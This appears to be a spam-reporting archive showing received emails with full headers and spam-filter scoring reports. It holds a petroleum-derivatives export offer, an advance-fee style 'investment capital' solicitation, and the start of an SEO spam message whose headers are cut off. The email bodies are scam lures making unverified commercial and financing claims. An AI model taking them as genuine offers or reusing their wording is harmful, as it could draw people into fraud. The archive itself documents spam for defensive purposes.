by relay.mailchannels.net (Postfix) with ESMTPA id BF86D61B96

for ; Sun, 16 Aug 2026 22:15:27 +0000 (UTC)

X-Sender-Id: hostingeremail|x-authuser|anointing-1@xpresoption.com

X-MC-Relay: Bad

X-MailChannels-SenderId: hostingeremail|x-authuser|anointing-1@xpresoption.com

X-MailChannels-Auth-Id: hostingeremail

X-Invention-Grain: 714782d03c52f347_1786918528140_1815656348

X-MC-Loop-Signature: 1786918528140:3642264094

X-MC-Ingress-Time: 1786918528140

Received: from fr-int-smtpout30.hostinger.io (fr-int-smtpout30.hostinger.io

[148.222.54.7])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384)

by 100.112.42.149 (trex/8.0.2);

Sun, 16 Aug 2026 22:15:28 +0000

Received: from mail.managementconsultantllc.com (unknown [IPv6:2a02:4780:2b:1952:0:1e6d:2c6:1])

(Authenticated sender: anointing-1@xpresoption.com)

by smtp.hostinger.com (smtp.hostinger.com) with ESMTPSA id 4hNVdl6sJMz2xPJ

for ; Sun, 16 Aug 2026 22:15:23 +0000 (UTC)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=xpresoption.com;

s=hostingermail-a; t=1786918526;

h=from:from:reply-to:reply-to:subject:subject:date:date:

message-id:message-id:to:to:cc:mime-version:mime-version:

content-type:content-type: content-transfer-encoding:content-transfer-encoding;

bh=nYNnAl/ljVb7VGnLlrZ4Ed077DNNHSHh62gZ9ctwJNI=;

b=AkT8bze8KLjDxF0SimKQDPufdORVS13RNvrNksfiSX+KGdK8VYm0RiLqqy25KDh9MdXLXw

+dxH2t9kWVr+mEMf/+NzGNjqCJ8x3qGrQx97LTQg0AZX+fXwZoywWexmulIckpeTQMRlOo

5ZTMiV9dKdMOxG6kex2YfzMSj1mIXVBgJRr5FFKhLBmOCy+2warsKIk5JRPB1dnAuaXKo4

GNZsL+Rtj8xTXsP1Wq6hZt3HcrOZDXVYruzhMnuZ0NtYPgPpbZHQvW70US/z/rcSp2OWbv

KfYeUscu39fTtnXDrypcLCKeclGxPh/m2a9Ed49528D2FQX6Q6Ie9IX6axMf0w==

To: sales@nk.ca

From: Ulytau Oil and Gas

Reply-To: Ulytau Oil and Gas

Subject: Global Export of Petroleum Derivatives - Corporate Offer

Message-ID:

X-Mailer: PHPMailer 6.8.1 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1=_freZ21iYfN8Wmsl9eoWitdZ8a2FUaI560XPXyybMA"

Content-Transfer-Encoding: 8bit

Date: Sun, 16 Aug 2026 22:15:23 +0000 (UTC)

X-CM-Envelope: MS4xfCoKsBB0erj65Zwk/40y+GbgywuqXGUbzBVwPkiOOA259n18jKLH7+NOxN/CoYbfZh+h11bjA03Bf1FSdxzyCCLxAaEtbt5ia828IeJBgdFncrTMKooa o2FdKVFMbfzRaTr7kcIYAXq1HNFhbUW7T25UyIDo59B24FbL+HaWy/KYamm2+6fFtFNsyN0jC9RXjQ1syLU8RlXDBFujUopzhT5loeyX9M+F5KgCw6QBNHWm Bm9tMBKuek/TOc3eJWfk4Q==

X-CM-Analysis: v=2.4 cv=GMJaEfNK c=0 sm=1 tr=0 ts=6a82367e p=PmqK4Dni9osA:10 a=Phnu7BS+8WP+Nho5MKTYiw==:617 a=xqWC_Br6kY4A:10

X-AuthUser: anointing-1@xpresoption.com

X-Spam_score: 6.5

X-Spam_score_int: 65

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Ulytau Oil and Gas Ulytau Oil & Gas Global Export of Petroleum

Derivatives



Content analysis details: (6.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[23.83.221.37 listed in dnsbl.ahbl.org]

[23.83.221.37 listed in dnsbl.ahbl.org]

[23.83.221.37 listed in dnsbl.ahbl.org]

[23.83.221.37 listed in dnsbl.ahbl.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[dnsbl.ahbl.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[dnsbl.ahbl.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[dnsbl.ahbl.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[dnsbl.ahbl.org]

[148.222.54.7 listed in dnsbl.ahbl.org]

[148.222.54.7 listed in dnsbl.ahbl.org]

[148.222.54.7 listed in dnsbl.ahbl.org]

[148.222.54.7 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[23.83.221.37 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[23.83.221.37 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[23.83.221.37 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[23.83.221.37 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[2a02:4780:2b:1952:0:1e6d:2c6:1 listed in]

[will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[148.222.54.7 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

[23.83.221.37 listed in will-spam-for-food.eu.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[23.83.221.37 listed in list.dnswl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.5 NO_RDNS Sending MTA has no reverse DNS (Postfix variant)

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[23.83.221.37 listed in bl.score.senderscore.com]

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

2.0 US_8BIT US-ASCII isn't an eight bit charset

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

Subject: {SPAM?} Global Export of Petroleum Derivatives - Corporate Offer



--b1=_freZ21iYfN8Wmsl9eoWitdZ8a2FUaI560XPXyybMA

Content-Type: text/plain; charset=us-ascii













Ulytau Oil and Gas

















Ulytau Oil & Gas

Global Export of Petroleum Derivatives









Hi,

I am reaching out on behalf of Ulytau Oil and Gas. We represent major refineries across Kazakhstan, Poland, and Russia, specializing in the global export of high-quality petroleum derivatives.

We are currently expanding our partnerships and have the capacity to fulfill new purchase orders. Our refineries can deliver to any safe global port under standard CIF or FOB transaction terms.

We offer a diverse range of premium products, including:





•Aviation Jet Fuel (A1)

•Low Sulfur Diesel (EN590 D2)

•Automotive Gas Oil (AGO)

•Liquefied Natural Gas & Petroleum Gas (LNG / LPG)

•Virgin Fuel Oil D6 & Petroleum Coke

•Light Cycle Oil (LCO)

•Crude Oil (KEBCO, REBCO, ESPO)

•Urea

•Gasoline Octane

•Bitumen

•Fuel Oil

•Virgin Base Oil





If you are currently evaluating new suppliers or have a specific product requirement, please let me know. I would be happy to share our detailed Soft Corporate Offer (SCO) so you can review our pricing and procedures.

Our team is committed to transparent, long-term partnerships, and we look forward to the possibility of supporting your operations.

Warm regards,









Kimurov Ramil Rashidovich

Sales & Export Director

Ulytau Oil and Gas

Principal Mandate to End-Seller















This email was sent on behalf of Ulytau Oil and Gas.

















--b1=_freZ21iYfN8Wmsl9eoWitdZ8a2FUaI560XPXyybMA

Content-Type: text/html; charset=us-ascii













Ulytau Oil and Gas





































Ulytau Oil & Gas



Global Export of Petroleum Derivatives


Hi,



I am reaching out on behalf of Ulytau Oil and Gas. We represent major refineries across Kazakhstan, Poland, and Russia, specializing in the global export of high-quality petroleum derivatives.



We are currently expanding our partnerships and have the capacity to fulfill new purchase orders. Our refineries can deliver to any safe global port under standard CIF or FOB transaction terms.



We offer a diverse range of premium products, including:































•Aviation Jet Fuel (A1)
•Low Sulfur Diesel (EN590 D2)
•Automotive Gas Oil (AGO)
•Liquefied Natural Gas & Petroleum Gas (LNG / LPG)
•Virgin Fuel Oil D6 & Petroleum Coke
•Light Cycle Oil (LCO)
•Crude Oil (KEBCO, REBCO, ESPO)
•Urea
•Gasoline Octane
•Bitumen
•Fuel Oil
•Virgin Base Oil




If you are currently evaluating new suppliers or have a specific product requirement, please let me know. I would be happy to share our detailed Soft Corporate Offer (SCO) so you can review our pricing and procedures.



Our team is committed to transparent, long-term partnerships, and we look forward to the possibility of supporting your operations.



Warm regards,















Kimurov Ramil Rashidovich



Sales & Export Director



Ulytau Oil and Gas



Principal Mandate to End-Seller




This email was sent on behalf of Ulytau Oil and Gas.












--b1=_freZ21iYfN8Wmsl9eoWitdZ8a2FUaI560XPXyybMA--



Nigerian Business deal spam from OVH

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 12:14:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvfMX-00000000Dgz-2t1b

for dave@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 12:13:37 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 12:13:37 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from ip56.ip-54-37-194.eu ([54.37.194.56]:56275)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvds5-00000000N6u-3kRH

for sales@nk.ca;

Sun, 16 Aug 2026 10:38:16 -0600

Message-ID: <2694b5c733f7dd4c6fc0c96296177d77431fdc7e@yahoo.com>

Reply-To: "Mr. Andrey Okhay"

From: "Mr. Andrey Okhay"

To: sales

Subject: please get back to me ASAP

Date: Sun, 16 Aug 2026 09:37:12 -0700

Organization: en

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="2b81c8630dc9e6ad8e2428c336e50464b0"

X-Spam_score: 8.8

X-Spam_score_int: 88

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Greeting sales, We provide investment capital for individuals

or companies to finance their business or viable projects using our alternative

finance structure without the usual rigorous and stringent conditions expe

[...]



Content analysis details: (8.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[54.37.194.56 listed in dnsbl.ahbl.org]

[54.37.194.56 listed in dnsbl.ahbl.org]

[54.37.194.56 listed in dnsbl.ahbl.org]

[54.37.194.56 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[54.37.194.56 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[54.37.194.56 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[54.37.194.56 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[54.37.194.56 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

[54.37.194.56 listed in will-spam-for-food.eu.org]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[54.37.194.56 listed in bb.barracudacentral.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[54.37.194.56 listed in bl.score.senderscore.com]

0.7 SPF_NEUTRAL SPF: sender does not match SPF record (neutral)

0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider

[andr.eyokhay(at)yahoo.com]

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HTML_MESSAGE BODY: HTML included in message

1.5 HK_NAME_FM_MR_MRS No description available.

1.0 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.5 REPTO_QUOTE_YAHOO Yahoo! doesn't do quoting like this

1.4 SPOOFED_FREEMAIL No description available.

Subject: {SPAM?} please get back to me ASAP



--2b81c8630dc9e6ad8e2428c336e50464b0

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable



Greeting sales,



We provide investment capital for individuals or companies to finance the=

ir business or viable projects using our alternative finance structure wi=

thout the usual rigorous and stringent conditions experienced in banks an=

d some other lending institutions. If you're interested and equipped with=

an investment opportunity or can handle the investment of these funds, p=

lease get back to me ASAP.



please get back :- andreyokhay@hotmail.com



Sincerely,

Mr. Andrey Okhay



--2b81c8630dc9e6ad8e2428c336e50464b0

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable












or=3D"#ffffff">

Greeting sales,




erif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-=

WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS=

: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-IND=

ENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal; -web=

kit-text-stroke-width: 0px; text-decoration-thickness: initial; text-deco=

ration-style: initial; text-decoration-color: initial">
T-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif; WHITE-SPACE: no=

rmal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WEIGHT: =

400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; DIS=

PLAY: inline !important; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(25=

5,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-varian=

t-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness=

: initial; text-decoration-style: initial; text-decoration-color: initial=

">
erif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-=

WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2=

; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT=

: 0px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit=

-text-stroke-width: 0px; text-decoration-thickness: initial; text-decorat=

ion-style: initial; text-decoration-color: initial"> <=

/div>


-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLO=

AT: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORP=

HANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING: normal; B=

ACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatur=

es: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te=

xt-decoration-thickness: initial; text-decoration-style: initial; text-de=

coration-color: initial">
ibri, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT=

-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal=

; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(25=

5,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-varian=

t-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness=

: initial; text-decoration-style: initial; text-decoration-color: initial=

">We provide investment capital for individuals or companies to finance t=

heir business or viable projects using our alternative finance structure =

without the usual rigorous and stringent conditions experienced in banks =

and some other lending institutions. If you're interested and equipped wi=

th an investment opportunity or can handle the investment of these funds,=

please get back to me ASAP.

ILY: Calibri, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0=

px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE=

: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR=

: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; fon=

t-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-t=

hickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">





; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIG=

HT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2;=

LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT:=

0px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-=

text-stroke-width: 0px; text-decoration-thickness: initial; text-decorati=

on-style: initial; text-decoration-color: initial">



; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIG=

HT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2;=

LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT:=

0px; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-=

text-stroke-width: 0px; text-decoration-thickness: initial; text-decorati=

on-style: initial; text-decoration-color: initial">

please get back :- andreyokhay@hotmail.com

Sincerely,
M=

r. Andrey Okhay





--2b81c8630dc9e6ad8e2428c336e50464b0--

WEb/SEO/App spam from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dve@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 12:14:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvfM7-00000000Dbr-2hqL

for dve@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 12:13:11 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 12:13:11 -0600

Resent-Message-ID:

Resent-To: dve@doctor.nl2k.ab.ca

Received: from mail-lf1-f71.google.com ([209.85.167.71]:58871)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvd8r-00000000F2t-22r1

for root@nk.ca;

Sun, 16 Aug 2026 09:51:31 -0600

Received: by mail-lf1-f71.google.com with SMTP id 2adb3069b0e04-5b292555362sf1014257e87.1

for ; Sun, 16 Aug 2026 08:50:33 -0700 (PDT)

ARC-Seal: i=3; a=rsa-sha256; t=1786895426; cv=pass;

d=google.com; s=arc-20260327;

b=CNWPZHAhAr3dGVTn9MHQZBkLkGQUyLLmu2Pqp53j+qJ13nQRGr3394hDWHPcmeOaEe

O5GDEHYJYYsd87DuFddjddaEo3kdKE9ii04PzzXVfN00mVpXL8a1qX22DgHWPPG6lKud

FEThhKPp1MwAF4NIMskcCb4f1B7FZJyf6Kvjm7fnLzKi+D5KNG1dRkpwDJYdfSNlzsNq

w3GC3cgAJon5fwjXOLhE1A6O2sbqFCHZx93KHRgGj+Gy4WkClGZQSvpqgLWFHLs/Bc7f

neQSix2nKxi+aDkcgJ3e6qgHs7EOPayQXD0eKB4/dSiXI1ZqE25Zks40FmZIaaQEED1l

eh9A==

ARC-Message-Signature: i=3; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=list-unsubscribe:list-archive:list-help:list-post:list-id

:mailing-list:precedence:reply-to:to:subject:message-id:date:from

:mime-version:dkim-signature;

bh=Wek2wrJ8szYDKbNLAdriSGXgnNwQb3fCRhsRF42fLsw=;

fh=ZD3MSBIGoNyYF8wXz1frnfS8r+KD+PvDov1D6TXxrSs=;

b=lRhyWuWmaoWX9SZMeN2cRQGP6C4aiCg0itrZIfZrwbGmvMl322HvgLOu/Se2arbzhV

QgRZM1kj6xawpsh8Lij18sCAHk2YUVIbq6CzohppnVAckOUjoG2pjcN8d4KiNg60ZRUC

CcsXa9RWIm5uGD5Iva7SgAM60PBc8tiTtnSk12zB6sQYqyohvcSHC0HIXR7DChjVv+mQ

/yuFZV4fn09tROprBrpQeqDA9jWknzp2C4r2I/mJMtBqvvUBfmlJK5EWy2P8zHkc5yZF

YVCLmKNCZiavo5I2RU61C4LuYHk0RQ+mU0DHkFCH5htGbVXzcNO1G8RJr6XRI6e5Zdcv

kIyw==;

darn=nk.ca

ARC-Authentication-Results: i=3; mx.google.com;

dkim=pass header.i=@searchifyx.com header.s=google header.b="bPfYa6/2";

arc=pass (i=1);

spf=pass (google.com: domain of harry@searchifyx.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=harry@searchifyx.com;

dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=searchifyx.com;

dara=neutral header.i=@topseoagency.co

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=topseoagency.co; s=google; t=1786895426; x=1787500226; darn=nk.ca;

h=list-unsubscribe:list-archive:list-help:list-post:list-id

:mailing-list:precedence:reply-to:x-original-authentication-results

:x-original-sender:content-type:to:subject:message-id:date:from

:mime-version:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=Wek2wrJ8szYDKbNLAdriSGXgnNwQb3fCRhsRF42fLsw=;

b=wQ/F5mCeUTrVliPIbdM1RGcRqJNdHz9lXG6nrYHJkVEF1/twcjKX9dKr+JC9QfA+Tt

0I4vIGkhZZncpF2QkMJDNLu/0y/zdsj969n/b1zZ+gvrs6mVRUGa6b/RkkZOh+u+H+0m

flUrSM8cc1z7XKHLTBG3JiZ0iCqqket1Mq4i79JWHR2oMDtfQLdUipVx7NPF8FyJ48c/

47eSOmV2xMNEL/SfCJfBkCgo/7G9PpGb5qyA+SuiLzX/Z5GL737s90jDgANyM9MO2C+r

2Jjxx0qv6IFEJn/glKqerdwKsWw7790tD7z5JC3sHBtSqInsAlBDND4ts65og5UewkwI

CPsQ==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786895426; x=1787500226;

h=list-unsubscribe:list-archive:list-help:list-post

:x-spam-checked-in-group:list-id:mailing-list:precedence:reply-to

:x-original-authentication-results:x-original-sender:content-type:to

:subject:message-id:date:from:mime-version:x-gm-gg:x-beenthere

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to

:content-type;

bh=Wek2wrJ8szYDKbNLAdriSGXgnNwQb3fCRhsRF42fLsw=;

b=PBkpRdyF8aF2W1hMisRT+NGnSWpv2ilJPKg/Jm4cx1BWJNh86aSXukzUyWyaGk7VYi

HgKLaaAQaZzVohaGXCR/h90d0TfqoOjvtFIvNUV9jeO7XPyOyQApM6h6kkduJ1/Popfr

CW13upeellvIix2+ESMrSJ685w8p6XzsQxiNz02u3ZnL0PWim9dUvcxke3zgDUHrR8PR

IWlZi7ac+Z44HxygNuHIMjFo5y9NyJzexh7M/RayAaaLVCXqjU0+ofpOi2jxJmFuvLEm

obGNZZ1nYmvvcRnNNaT6UeJyXP0Pfede0JZr3GBF1H4tHuMWz/Ga5URPbrd5qAI3MD4X

zU7w==

X-Forwarded-Encrypted: i=3; AHgh+Rp3svprfj4kdAFR6a7/tc9P82li3zJBZFwARjJ7wf1xB6oCxbOYgfBqy3aXVBi+QXE/RI6h@nk.ca

X-Gm-Message-State: AOJu0YyhfZDNkJ3NwI6xThhlxrqSMy7Sa7pTItHG2K1NZE61Uh/XInS7

8+/Ce9Gr/4c8qumY7FxdBPHslK4mjvkFlzKV+mO7DYNL3SAnoPKn6WnXYfXvlfH7Zio=

X-Received: by 2002:a05:6512:a92:b0:5b0:c96:cc8c with SMTP id 2adb3069b0e04-5b45915bd7fmr2705630e87.12.1786895426226;

Sun, 16 Aug 2026 08:50:26 -0700 (PDT)

X-BeenThere: organic_prism@topseoagency.co; h="ATskLde0UY2yFRKTdlJBvir4rqpohVUrzQCf2lOcTVLrNYUFsg=="

Received: by 2002:ac2:5bcd:0:b0:5b4:4c58:eb05 with SMTP id 2adb3069b0e04-5b4531206d3ls1050004e87.2.-pod-prod-08-eu;

Sun, 16 Aug 2026 08:48:29 -0700 (PDT)

X-Received: by 2002:a2e:a7cf:0:b0:3a1:60e9:d42f with SMTP id 38308e7fff4ca-3a160e9dd59mr1661341fa.7.1786895309019;

Sun, 16 Aug 2026 08:48:29 -0700 (PDT)

ARC-Seal: i=2; a=rsa-sha256; t=1786895309; cv=pass;

d=google.com; s=arc-20260327;

b=QL+IqGlMgvhjvI4/YRXVAGzV9cS/f0dH7MP1I1XrH8yRnMcdm6Qq1MyJ2FLT5GN8lk

Y+VDhWoUpOcGnF8NNJEIDjaWP30VGNIc9XnocPITLLuB+aWI9hsFD75Be0vFC1MgkV6S

cVsQg7sFI2z0ZVTQ1maU/RLhgwr5RNgNmIpn8hpj09l6BXkQFgAw8jXUc0NXDIItg+1f

W2hMAT7G0BH6RxwHrxXvcOsCEn12kh+Qvp0vDxfQFQPb8uN7HJJ6bMOPJZ38Pbedqpcl

3Cyg5A9mTtar3jnh3/vGGmrduGFwRsPGOirgys8ZC53FgQtjcK9uWYRG7h2yHrLr46uo

IlJg==

ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=to:subject:message-id:date:from:mime-version:dkim-signature;

bh=TuZ4Ig7fJ0gNY6lLcLX6c+B+CFJBRXSWvNC3In/YIsw=;

fh=Kdup8rstokpS5iUn1TG6IONO+EYb93pCicA+PP2gP1I=;

b=Pi/Us0AruhQHN1X9atgiFW7jMBL58z1AgsMz05T0SswaM/wGwqRS1+uB/y2ml5lVx/

6FOhBdyC4QmmS+yeNTfvmoj5ouEHQHAw1/53xkXR5u2RgejO1qc5qljBQqi6FBxbW/Cm

cObOSxB7jTwxwhqDIF+Eeir0BhAL/XOEisxL4OWGOTM8aF1tqCxRNmHoJgGJNWKD7cRw

1hwrs4qLhBJhUY1nHQkjW/uP+kTTVURFKAtUGWQQpNkGzORpFOI8alX7zL/G78pil7r3

bxRzPyi0NRb7ymYzNgXWBxtKc6b9EyRnfpUM3e85C5rbI3/jBMlOr4gZIfsti4JrOmyl

+evg==;

dara=google.com

ARC-Authentication-Results: i=2; mx.google.com;

dkim=pass header.i=@searchifyx.com header.s=google header.b="bPfYa6/2";

arc=pass (i=1);

spf=pass (google.com: domain of harry@searchifyx.com designates 209.85.220.41 as permitted sender) smtp.mailfrom=harry@searchifyx.com;

dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=searchifyx.com;

dara=neutral header.i=@topseoagency.co

Received: from mail-sor-f41.google.com (mail-sor-f41.google.com. [209.85.220.41])

